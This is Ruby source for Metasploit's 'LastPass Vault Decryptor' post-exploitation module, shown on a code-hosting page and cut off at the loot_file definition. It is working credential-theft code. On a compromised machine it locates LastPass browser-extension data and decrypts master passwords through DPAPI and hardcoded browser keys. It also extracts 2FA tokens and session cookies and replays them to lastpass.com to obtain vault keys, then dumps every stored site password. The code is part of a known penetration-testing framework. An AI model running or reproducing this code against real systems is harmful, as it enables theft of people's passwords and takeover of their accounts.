Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/gather/lastpass_creds.rb
19758 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'English'
7
require 'sqlite3'
8
require 'uri'
9
10
class MetasploitModule < Msf::Post
11
include Msf::Post::File
12
include Msf::Post::Windows::UserProfiles
13
include Msf::Post::OSX::System
14
include Msf::Post::Unix
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'LastPass Vault Decryptor',
21
'Description' => %q{
22
This module extracts and decrypts LastPass master login accounts and passwords,
23
encryption keys, 2FA tokens and all the vault passwords
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'Alberto Garcia Illera <agarciaillera[at]gmail.com>', # original module and research
28
'Martin Vigo <martinvigo[at]gmail.com>', # original module and research
29
'Jon Hart <jon_hart[at]rapid7.com>' # module rework and cleanup
30
],
31
'Platform' => %w[linux osx unix win],
32
'References' => [
33
[ 'URL', 'http://www.martinvigo.com/even-the-lastpass-will-be-stolen-deal-with-it' ]
34
],
35
'SessionTypes' => %w[meterpreter shell],
36
'Compat' => {
37
'Meterpreter' => {
38
'Commands' => %w[
39
stdapi_railgun_api
40
stdapi_registry_open_key
41
stdapi_sys_process_attach
42
stdapi_sys_process_get_processes
43
stdapi_sys_process_getpid
44
stdapi_sys_process_memory_allocate
45
stdapi_sys_process_memory_read
46
stdapi_sys_process_memory_write
47
]
48
}
49
},
50
'Notes' => {
51
'Stability' => [CRASH_SAFE],
52
'SideEffects' => [],
53
'Reliability' => []
54
}
55
)
56
)
57
end
58
59
def run
60
if session.platform == 'windows' && session.type == 'shell' # No Windows shell support
61
print_error 'Shell sessions on Windows are not supported'
62
return
63
end
64
65
print_status 'Searching for LastPass databases'
66
67
account_map = build_account_map
68
if account_map.empty?
69
print_status 'No databases found'
70
return
71
end
72
73
print_status 'Extracting credentials'
74
extract_credentials(account_map)
75
76
print_status 'Extracting 2FA tokens'
77
extract_2fa_tokens(account_map)
78
79
print_status 'Extracting vault and iterations'
80
extract_vault_and_iterations(account_map)
81
82
print_status 'Extracting encryption keys'
83
extract_vault_keys(account_map)
84
85
print_lastpass_data(account_map)
86
end
87
88
# Returns a mapping of lastpass accounts
89
def build_account_map
90
profiles = user_profiles
91
account_map = {}
92
93
profiles.each do |user_profile|
94
account = user_profile['UserName']
95
browser_path_map = {}
96
localstorage_path_map = {}
97
cookies_path_map = {}
98
99
case session.platform
100
when 'windows'
101
browser_path_map = {
102
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
103
'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles",
104
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
105
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
106
}
107
localstorage_path_map = {
108
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
109
'Firefox' => "#{user_profile['LocalAppData']}Low\\LastPass",
110
'IE' => "#{user_profile['LocalAppData']}Low\\LastPass",
111
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
112
}
113
cookies_path_map = {
114
'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Cookies",
115
'Firefox' => '', # It's set programmatically
116
'IE' => "#{user_profile['LocalAppData']}\\Microsoft\\Windows\\INetCookies\\Low",
117
'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Cookies"
118
}
119
when 'unix', 'linux'
120
browser_path_map = {
121
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
122
'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox",
123
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0"
124
}
125
localstorage_path_map = {
126
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
127
'Firefox' => "#{user_profile['LocalAppData']}/.lastpass",
128
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage"
129
}
130
cookies_path_map = { # TODO
131
'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies",
132
'Firefox' => '', # It's set programmatically
133
'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies"
134
}
135
when 'osx'
136
browser_path_map = {
137
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0",
138
'Firefox' => "#{user_profile['LocalAppData']}/Firefox/Profiles",
139
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0",
140
'Safari' => "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0"
141
}
142
localstorage_path_map = {
143
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage",
144
'Firefox' => "#{user_profile['AppData']}/Containers/com.lastpass.LastPass/Data/Library/Application Support/LastPass",
145
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage",
146
'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage"
147
}
148
cookies_path_map = { # TODO
149
'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies",
150
'Firefox' => '', # It's set programmatically
151
'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies",
152
'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies"
153
}
154
else
155
print_error "Platform not recognized: #{session.platform}"
156
end
157
158
account_map[account] = {}
159
browser_path_map.each_pair do |browser, path|
160
account_map[account][browser] = {}
161
db_paths = find_db_paths(path, browser, account)
162
if db_paths && !db_paths.empty?
163
account_map[account][browser]['lp_db_path'] = db_paths.first
164
account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/)
165
account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file?(cookies_path_map[browser]) || browser.match(/Firefox|IE/)
166
account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub('prefs.js', 'cookies.sqlite') if !account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox'
167
else
168
account_map[account].delete(browser)
169
end
170
end
171
end
172
173
account_map
174
end
175
176
# Returns a list of DB paths found in the victims' machine
177
def find_db_paths(path, browser, account)
178
paths = []
179
180
vprint_status "Checking #{account}'s #{browser}"
181
if browser == 'IE' # Special case for IE
182
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers')
183
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers') if data.blank?
184
paths |= ['HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass'] if !data.blank? && path != 'Low\\LastPass' # Hacky way to detect if there is access to user's data (attacker has no root access)
185
elsif browser == 'Firefox' # Special case for Firefox
186
paths |= firefox_profile_files(path)
187
else
188
paths |= file_paths(path)
189
end
190
191
vprint_good "Found #{paths.size} #{browser} databases for #{account}"
192
paths
193
end
194
195
# Returns the relevant information from user profiles
196
def user_profiles
197
user_profiles = []
198
case session.platform
199
when /unix|linux/
200
user_names = dir('/home')
201
user_names.reject! { |u| %w[. ..].include?(u) }
202
user_names.each do |user_name|
203
user_profiles.push('UserName' => user_name, 'LocalAppData' => "/home/#{user_name}")
204
end
205
when /osx/
206
user_names = session.shell_command('ls /Users').split
207
user_names.reject! { |u| u == 'Shared' }
208
user_names.each do |user_name|
209
user_profiles.push(
210
'UserName' => user_name,
211
'AppData' => "/Users/#{user_name}/Library",
212
'LocalAppData' => "/Users/#{user_name}/Library/Application Support"
213
)
214
end
215
when /windows/
216
user_profiles |= grab_user_profiles
217
else
218
print_error "OS not recognized: #{session.platform}"
219
end
220
user_profiles
221
end
222
223
# Extracts the databases paths from the given folder ignoring . and ..
224
def file_paths(path)
225
found_dbs_paths = []
226
227
files = []
228
files = dir(path) if directory?(path)
229
files.each do |file_path|
230
unless %w[. .. Shared].include?(file_path)
231
found_dbs_paths.push([path, file_path].join(system_separator))
232
end
233
end
234
235
found_dbs_paths
236
end
237
238
# Returns the profile files for Firefox
239
def firefox_profile_files(path)
240
found_dbs_paths = []
241
242
if directory?(path)
243
files = dir(path)
244
files.reject! { |file| %w[. ..].include?(file) }
245
files.each do |file_path|
246
found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/)
247
end
248
end
249
250
[found_dbs_paths]
251
end
252
253
# Parses the Firefox preferences file and returns encoded credentials
254
def ie_firefox_credentials(prefs_path, localstorage_db_path)
255
credentials = []
256
data = nil
257
258
if prefs_path.nil? # IE
259
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginUsers')
260
data = read_registry_key_value('HKEY_CURRENT_USER\Software\LastPass', 'LoginUsers') if data.blank?
261
return [] if data.blank?
262
263
usernames = data.split('|')
264
usernames.each do |username|
265
credentials << [username, nil]
266
end
267
268
# Extract master passwords
269
data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', 'LoginPws')
270
data = Rex::Text.encode_base64(data) unless data.blank?
271
else # Firefox
272
loot_path = loot_file(prefs_path, nil, 'firefox.preferences', 'text/javascript', 'Firefox preferences file')
273
return [] unless loot_path
274
275
File.readlines(loot_path).each do |line|
276
next unless /user_pref\("extensions.lastpass.loginusers", "(?<encoded_users>.*)"\);/ =~ line
277
278
usernames = encoded_users.split('|')
279
usernames.each do |username|
280
credentials << [username, nil]
281
end
282
break
283
end
284
285
# Extract master passwords
286
path = localstorage_db_path + system_separator + 'lp.loginpws'
287
data = read_remote_file(path) if file?(path) # Read file if it exists
288
end
289
290
# Get encrypted master passwords
291
data = windows_unprotect(data) if !data.nil? && data.match(/^AQAAA.+/) # Verify Windows protection
292
return credentials if data.blank? # No passwords stored
293
294
creds_per_user = data.split('|')
295
creds_per_user.each_with_index do |user_creds, _index|
296
parts = user_creds.split('=')
297
for creds in credentials
298
creds[1] = parts[1] if creds[0] == parts[0] # Add the password to the existing username
299
end
300
end
301
credentials
302
end
303
304
def decrypt_data(key, encrypted_data)
305
return nil if encrypted_data.blank?
306
307
if encrypted_data.include?('|') # Use CBC
308
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
309
decipher.iv = Rex::Text.decode_base64(encrypted_data[1, 24]) # Discard ! and |
310
encrypted_data = encrypted_data[26..] # Take only the data part
311
else # Use ECB
312
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
313
end
314
315
begin
316
decipher.key = key
317
decrypted_data = decipher.update(Rex::Text.decode_base64(encrypted_data)) + decipher.final
318
rescue OpenSSL::Cipher::CipherError => e
319
vprint_error "Data could not be decrypted. #{e.message}"
320
end
321
322
decrypted_data
323
end
324
325
def extract_credentials(account_map)
326
account_map.each_pair do |account, browser_map|
327
browser_map.each_pair do |browser, lp_data|
328
account_map[account][browser]['lp_creds'] = {}
329
if browser.match(/Firefox|IE/)
330
if browser == 'Firefox'
331
ieffcreds = ie_firefox_credentials(lp_data['lp_db_path'].first, lp_data['localstorage_db'])
332
else # IE
333
ieffcreds = ie_firefox_credentials(nil, lp_data['localstorage_db'])
334
end
335
unless ieffcreds.blank?
336
ieffcreds.each do |creds|
337
if creds[1].blank? # No master password found
338
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => nil }
339
else
340
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(URI.decode_uri_component(creds[0]))
341
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
342
creds[1] = decrypt_data(sha256_binary_email, URI.decode_uri_component(creds[1]))
343
account_map[account][browser]['lp_creds'][URI.decode_uri_component(creds[0])] = { 'lp_password' => creds[1] }
344
end
345
end
346
end
347
else # Chrome, Safari and Opera
348
loot_path = loot_file(lp_data['lp_db_path'], nil, "#{browser.downcase}.lastpass.database", 'application/x-sqlite3', "#{account}'s #{browser} LastPass database #{lp_data['lp_db_path']}")
349
account_map[account][browser]['lp_db_loot'] = loot_path
350
next if loot_path.blank?
351
352
# Parsing/Querying the DB
353
db = SQLite3::Database.new(loot_path)
354
result = db.execute(
355
'SELECT username, password FROM LastPassSavedLogins2 ' \
356
"WHERE username IS NOT NULL AND username != '' " \
357
)
358
359
for row in result
360
next unless row[0]
361
362
sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(row[0])
363
sha256_binary_email = [sha256_hex_email].pack 'H*' # Do hex2bin
364
row[1].blank? ? row[1] = nil : row[1] = decrypt_data(sha256_binary_email, row[1]) # Decrypt master password
365
account_map[account][browser]['lp_creds'][row[0]] = { 'lp_password' => row[1] }
366
end
367
end
368
end
369
end
370
end
371
372
# Extracts the 2FA token from localStorage
373
def extract_2fa_tokens(account_map)
374
account_map.each_pair do |account, browser_map|
375
browser_map.each_pair do |browser, lp_data|
376
if browser.match(/Firefox|IE/)
377
path = lp_data['localstorage_db'] + system_separator + 'lp.suid'
378
data = read_remote_file(path) if file?(path) # Read file if it exists
379
data = windows_unprotect(data) if !data.nil? && data.size > 32 # Verify Windows protection
380
loot_file(nil, data, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
381
account_map[account][browser]['lp_2fa'] = data
382
else # Chrome, Safari and Opera
383
loot_path = loot_file(lp_data['localstorage_db'], nil, "#{browser.downcase}.lastpass.localstorage", 'application/x-sqlite3', "#{account}'s #{browser} LastPass localstorage #{lp_data['localstorage_db']}")
384
unless loot_path.blank?
385
db = SQLite3::Database.new(loot_path)
386
token = db.execute(
387
'SELECT hex(value) FROM ItemTable ' \
388
"WHERE key = 'lp.uid';"
389
).flatten
390
end
391
token.blank? ? account_map[account][browser]['lp_2fa'] = nil : account_map[account][browser]['lp_2fa'] = token.pack('H*')
392
end
393
end
394
end
395
end
396
397
# Print all extracted LastPass data
398
def print_lastpass_data(account_map)
399
lastpass_data_table = Rex::Text::Table.new(
400
'Header' => 'LastPass Accounts',
401
'Indent' => 1,
402
'Columns' => %w[Account LP_Username LP_Password LP_2FA LP_Key]
403
)
404
405
account_map.each_pair do |account, browser_map|
406
browser_map.each_pair do |_browser, lp_data|
407
lp_data['lp_creds'].each_pair do |username, user_data|
408
lastpass_data_table << [account, username, user_data['lp_password'], lp_data['lp_2fa'], user_data['vault_key']]
409
end
410
end
411
end
412
413
unless account_map.empty?
414
print_good lastpass_data_table.to_s
415
loot_file(nil, lastpass_data_table.to_csv, 'lastpass.data', 'text/csv', 'LastPass Data')
416
print_vault_passwords(account_map)
417
end
418
end
419
420
def extract_vault_and_iterations(account_map)
421
account_map.each_pair do |account, browser_map|
422
browser_map.each_pair do |browser, lp_data|
423
lp_data['lp_creds'].each_pair do |username, _user_data|
424
if browser.match(/Firefox|IE/)
425
if browser == 'Firefox'
426
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key.itr'
427
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.act.sxml'
428
else # IE
429
iterations_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_key_ie.itr'
430
vault_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_lps.sxml'
431
end
432
iterations = read_remote_file(iterations_path) if file?(iterations_path) # Read file if it exists
433
iterations = nil if iterations.blank? # Verify content
434
lp_data['lp_creds'][username]['iterations'] = iterations
435
436
# Find encrypted vault
437
vault = read_remote_file(vault_path)
438
vault = windows_unprotect(vault) if !vault.nil? && vault.match(/^AQAAA.+/) # Verify Windows protection
439
vault = vault.sub(/iterations=.*;/, '') if file?(vault_path) # Remove iterations info
440
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
441
lp_data['lp_creds'][username]['vault_loot'] = loot_path
442
443
else # Chrome, Safari and Opera
444
db = SQLite3::Database.new(lp_data['lp_db_loot'])
445
result = db.execute(
446
'SELECT data FROM LastPassData ' \
447
"WHERE username_hash = ? AND type = 'accts'", OpenSSL::Digest::SHA256.hexdigest(username)
448
)
449
450
if result.size == 1 && !result[0].blank?
451
if /iterations=(?<iterations>.*);(?<vault>.*)/ =~ result[0][0]
452
lp_data['lp_creds'][username]['iterations'] = iterations
453
else
454
lp_data['lp_creds'][username]['iterations'] = 1
455
end
456
loot_path = loot_file(nil, vault, "#{browser.downcase}.lastpass.vault", 'text/plain', "#{account}'s #{browser} LastPass vault")
457
lp_data['lp_creds'][username]['vault_loot'] = loot_path
458
else
459
lp_data['lp_creds'][username]['iterations'] = nil
460
lp_data['lp_creds'][username]['vault_loot'] = nil
461
end
462
end
463
end
464
end
465
end
466
end
467
468
def extract_vault_keys(account_map)
469
account_map.each_pair do |account, browser_map|
470
browser_map.each_pair do |browser, lp_data|
471
browser_checked = false # Track if local stored vault key was already decrypted for this browser (only one session cookie)
472
lp_data['lp_creds'].each_pair do |username, user_data|
473
if !user_data['lp_password'].blank? && !user_data['iterations'].nil? # Derive vault key from credentials
474
lp_data['lp_creds'][username]['vault_key'] = derive_vault_key_from_creds(username, lp_data['lp_creds'][username]['lp_password'], user_data['iterations'])
475
else # Get vault key decrypting the locally stored one or from the disabled OTP
476
unless browser_checked
477
decrypt_local_vault_key(account, browser_map)
478
browser_checked = true
479
end
480
if lp_data['lp_creds'][username]['vault_key'].nil? # If no vault key was found yet, try with dOTP
481
otpbin = extract_otpbin(browser, username, lp_data)
482
otpbin.blank? ? next : otpbin = otpbin[0..31]
483
484
lp_data['lp_creds'][username]['vault_key'] = decrypt_vault_key_with_otp(username, otpbin)
485
end
486
end
487
end
488
end
489
end
490
end
491
492
# Decrypt the locally stored vault key
493
def decrypt_local_vault_key(account, browser_map)
494
data = nil
495
session_cookie_value = nil
496
497
browser_map.each_pair do |browser, lp_data|
498
if browser == 'IE' && directory?(lp_data['cookies_db'])
499
cookies_files = dir(lp_data['cookies_db'])
500
cookies_files.reject! { |u| %w[. ..].include?(u) }
501
cookies_files.each do |cookie_jar_file|
502
data = read_remote_file(lp_data['cookies_db'] + system_separator + cookie_jar_file)
503
next if data.blank?
504
505
next unless /.*PHPSESSID.(?<session_cookie_value_match>.*?).lastpass\.com?/m =~ data # Find the session id
506
507
loot_file(lp_data['cookies_db'] + system_separator + cookie_jar_file, nil, "#{browser.downcase}.lastpass.cookies", 'text/plain', "#{account}'s #{browser} cookies DB")
508
session_cookie_value = session_cookie_value_match
509
break
510
end
511
else
512
case browser
513
when /Chrome/
514
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
515
when 'Opera'
516
query = "SELECT encrypted_value FROM cookies WHERE host_key = 'lastpass.com' AND name = 'PHPSESSID'"
517
when 'Firefox'
518
query = "SELECT value FROM moz_cookies WHERE host = 'lastpass.com' AND name = 'PHPSESSID'"
519
else
520
vprint_error "Browser #{browser} not supported for cookies"
521
next
522
end
523
# Parsing/Querying the DB
524
loot_path = loot_file(lp_data['cookies_db'], nil, "#{browser.downcase}.lastpass.cookies", 'application/x-sqlite3', "#{account}'s #{browser} cookies DB")
525
next if loot_path.blank?
526
527
db = SQLite3::Database.new(loot_path)
528
begin
529
result = db.execute(query)
530
rescue SQLite3::SQLException => e
531
vprint_error "No session cookie was found in #{account}'s #{browser} (#{e.message})"
532
next
533
end
534
next if result.blank? # No session cookie found for this browser
535
536
session_cookie_value = result[0][0]
537
end
538
539
next if session_cookie_value.blank?
540
541
# Check if cookie value needs to be decrypted
542
if Rex::Text.encode_base64(session_cookie_value).match(/^AQAAA.+/) # Windows Data protection API
543
session_cookie_value = windows_unprotect(Rex::Text.encode_base64(session_cookie_value))
544
elsif session_cookie_value.match(/^v10/) && browser.match(/Chrome|Opera/) # Chrome/Opera encrypted cookie in Linux
545
begin
546
decipher = OpenSSL::Cipher.new('AES-256-CBC')
547
decipher.decrypt
548
decipher.key = OpenSSL::Digest.hexdigest('SHA256', 'peanuts')
549
decipher.iv = ' ' * 16
550
session_cookie_value = session_cookie_value[3..] # Discard v10
551
session_cookie_value = decipher.update(session_cookie_value) + decipher.final
552
rescue OpenSSL::Cipher::CipherError => e
553
print_error "Cookie could not be decrypted. #{e.message}"
554
end
555
end
556
557
# Use the cookie to obtain the encryption key to decrypt the vault key
558
uri = URI('https://lastpass.com/login_check.php')
559
request = Net::HTTP::Post.new(uri)
560
request.set_form_data('wxsessid' => URI.decode_uri_component(session_cookie_value), 'uuid' => browser_map['lp_2fa'])
561
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
562
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
563
564
# Parse response
565
next unless response.body.match(/pwdeckey="([a-z0-9]+)"/) # Session must have expired
566
567
decryption_key = OpenSSL::Digest::SHA256.hexdigest(response.body.match(/pwdeckey="([a-z0-9]+)"/)[1])
568
username = response.body.match(/lpusername="([A-Za-z0-9._%+-@]+)"/)[1]
569
570
# Get the local encrypted vault key
571
encrypted_vault_key = extract_local_encrypted_vault_key(browser, username, lp_data)
572
573
# Decrypt the local stored key
574
lp_data['lp_creds'][username]['vault_key'] = decrypt_data([decryption_key].pack('H*'), encrypted_vault_key)
575
end
576
end
577
578
# Returns otp, encrypted_key
579
def extract_otpbin(browser, username, lp_data)
580
if browser.match(/Firefox|IE/)
581
if browser == 'Firefox'
582
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '_ff.sotp'
583
else # IE
584
path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + '.sotp'
585
end
586
otpbin = read_remote_file(path) if file?(path) # Read file if it exists
587
otpbin = windows_unprotect(otpbin) if !otpbin.nil? && otpbin.match(/^AQAAA.+/)
588
return otpbin
589
else # Chrome, Safari and Opera
590
db = SQLite3::Database.new(lp_data['lp_db_loot'])
591
result = db.execute(
592
'SELECT type, data FROM LastPassData ' \
593
"WHERE username_hash = ? AND type = 'otp'", OpenSSL::Digest::SHA256.hexdigest(username)
594
)
595
return (result.blank? || result[0][1].blank?) ? nil : [result[0][1]].pack('H*')
596
end
597
end
598
599
def derive_vault_key_from_creds(username, password, key_iteration_count)
600
if key_iteration_count == 1
601
key = Digest::SHA256.hexdigest username + password
602
else
603
key = pbkdf2(password, username, key_iteration_count.to_i, 32).first
604
end
605
key
606
end
607
608
def decrypt_vault_key_with_otp(username, otpbin)
609
vault_key_decryption_key = [lastpass_sha256(username + otpbin)].pack 'H*'
610
encrypted_vault_key = retrieve_encrypted_vault_key_with_otp(username, otpbin)
611
decrypt_data(vault_key_decryption_key, encrypted_vault_key)
612
end
613
614
def retrieve_encrypted_vault_key_with_otp(username, otpbin)
615
# Derive login hash from otp
616
otp_token = lastpass_sha256(lastpass_sha256(username + otpbin) + otpbin) # OTP login hash
617
618
# Make request to LastPass
619
uri = URI('https://lastpass.com/otp.php')
620
request = Net::HTTP::Post.new(uri)
621
request.set_form_data('login' => 1, 'xml' => 1, 'hash' => otp_token, 'otpemail' => URI::DEFAULT_PARSER.escape(username), 'outofbandsupported' => 1, 'changepw' => otp_token)
622
request.content_type = 'application/x-www-form-urlencoded; charset=UTF-8'
623
response = Net::HTTP.start(uri.hostname, uri.port, use_ssl: true) { |http| http.request(request) }
624
625
# Parse response
626
encrypted_vault_key = nil
627
if response.body.match(/randkey="(.*)"/)
628
encrypted_vault_key = response.body.match(/randkey="(.*)"/)[1]
629
end
630
encrypted_vault_key
631
end
632
633
# LastPass does some preprocessing (UTF8) when doing a SHA256 on special chars (binary)
634
def lastpass_sha256(input)
635
output = ''
636
637
input = input.gsub("\r\n", "\n")
638
639
input.each_byte do |e|
640
if e < 128
641
output += e.chr
642
elsif e > 127 && e < 2048
643
output += (e >> 6 | 192).chr
644
output += (e & 63 | 128).chr
645
else
646
output += (e >> 12 | 224).chr
647
output += (e >> 6 & 63 | 128).chr
648
end
649
end
650
651
OpenSSL::Digest::SHA256.hexdigest(output)
652
end
653
654
def pbkdf2(password, salt, iterations, key_length)
655
digest = OpenSSL::Digest.new('SHA256')
656
OpenSSL::PKCS5.pbkdf2_hmac(password, salt, iterations, key_length, digest).unpack 'H*'
657
end
658
659
def windows_unprotect(data)
660
data = Rex::Text.decode_base64(data)
661
pid = session.sys.process.getpid
662
process = session.sys.process.open(pid, PROCESS_ALL_ACCESS)
663
mem = process.memory.allocate(data.length + 200)
664
process.memory.write(mem, data)
665
666
if session.sys.process.each_process.find { |i| i['pid'] == pid }['arch'] == 'x86'
667
addr = [mem].pack('V')
668
len = [data.length].pack('V')
669
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 8)
670
len, addr = ret['pDataOut'].unpack('V2')
671
else
672
addr = Rex::Text.pack_int64le(mem)
673
len = Rex::Text.pack_int64le(data.length)
674
ret = session.railgun.crypt32.CryptUnprotectData("#{len}#{addr}", 16, nil, nil, nil, 0, 16)
675
p_data = ret['pDataOut'].unpack('VVVV')
676
len = p_data[0] + (p_data[1] << 32)
677
addr = p_data[2] + (p_data[3] << 32)
678
end
679
680
return '' if len == 0
681
682
process.memory.read(addr, len)
683
end
684
685
def print_vault_passwords(account_map)
686
account_map.each_pair do |_account, browser_map|
687
browser_map.each_pair do |browser, lp_data|
688
lp_data['lp_creds'].each_pair do |username, user_data|
689
lastpass_vault_data_table = Rex::Text::Table.new(
690
'Header' => "Decrypted vault from #{username}",
691
'Indent' => 1,
692
'Columns' => %w[URL Username Password]
693
)
694
if user_data['vault_loot'].nil? # Was a vault found?
695
print_error "No vault was found for #{username}"
696
next
697
end
698
encoded_vault = File.read(user_data['vault_loot'])
699
if encoded_vault[0] == '!' # Vault is double encrypted
700
encoded_vault = decrypt_data([user_data['vault_key']].pack('H*'), encoded_vault)
701
if encoded_vault.blank?
702
print_error "Vault from #{username} could not be decrypted"
703
next
704
else
705
encoded_vault = encoded_vault.sub('LPB64', '')
706
end
707
end
708
709
# Parse vault
710
vault = Rex::Text.decode_base64(encoded_vault)
711
vault.scan(/ACCT/) do |_result|
712
chunk_length = vault[$LAST_MATCH_INFO.offset(0)[1]..$LAST_MATCH_INFO.offset(0)[1] + 3].unpack('H*').first.to_i(16) # Get the length in base 10 of the ACCT chunk
713
chunk = vault[$LAST_MATCH_INFO.offset(0)[0]..$LAST_MATCH_INFO.offset(0)[1] + chunk_length] # Get ACCT chunk
714
account_data = parse_vault_account(chunk, user_data['vault_key'])
715
lastpass_vault_data_table << account_data if !account_data.nil?
716
end
717
718
next if account_map.empty? # Loot passwords
719
720
if lastpass_vault_data_table.rows.empty?
721
print_status('No decrypted vaults.')
722
else
723
print_good lastpass_vault_data_table.to_s
724
end
725
loot_file(nil, lastpass_vault_data_table.to_csv, "#{browser.downcase}.lastpass.passwords", 'text/csv', "LastPass Vault Passwords from #{username}")
726
end
727
end
728
end
729
end
730
731
def parse_vault_account(chunk, vault_key)
732
pointer = 22 # Starting position to find data to decrypt
733
labels = ['name', 'folder', 'url', 'notes', 'undefined', 'undefined2', 'username', 'password']
734
vault_data = []
735
for label in labels
736
if chunk[pointer..pointer + 3].nil?
737
# Out of bound read
738
return nil
739
end
740
741
length = chunk[pointer..pointer + 3].unpack('H*').first.to_i(16)
742
encrypted_data = chunk[pointer + 4..pointer + 4 + length - 1]
743
label != 'url' ? decrypted_data = decrypt_vault_password(vault_key, encrypted_data) : decrypted_data = [encrypted_data].pack('H*')
744
decrypted_data = '' if decrypted_data.nil?
745
vault_data << decrypted_data if label == 'url' || label == 'username' || label == 'password'
746
pointer = pointer + 4 + length
747
end
748
749
return vault_data[0] == 'http://sn' ? nil : vault_data # TODO: Support secure notes
750
end
751
752
def decrypt_vault_password(key, encrypted_data)
753
return nil if key.blank? || encrypted_data.blank?
754
755
if encrypted_data[0] == '!' # Apply CBC
756
decipher = OpenSSL::Cipher.new('AES-256-CBC').decrypt
757
decipher.iv = encrypted_data[1, 16] # Discard !
758
encrypted_data = encrypted_data[17..]
759
else # Apply ECB
760
decipher = OpenSSL::Cipher.new('AES-256-ECB').decrypt
761
end
762
decipher.key = [key].pack 'H*'
763
764
begin
765
return decipher.update(encrypted_data) + decipher.final
766
rescue OpenSSL::Cipher::CipherError
767
vprint_error "Vault password could not be decrypted with key #{key}"
768
return nil
769
end
770
end
771
772
# Reads a remote file and loots it
773
def loot_file(path, data, title, type, description)
774
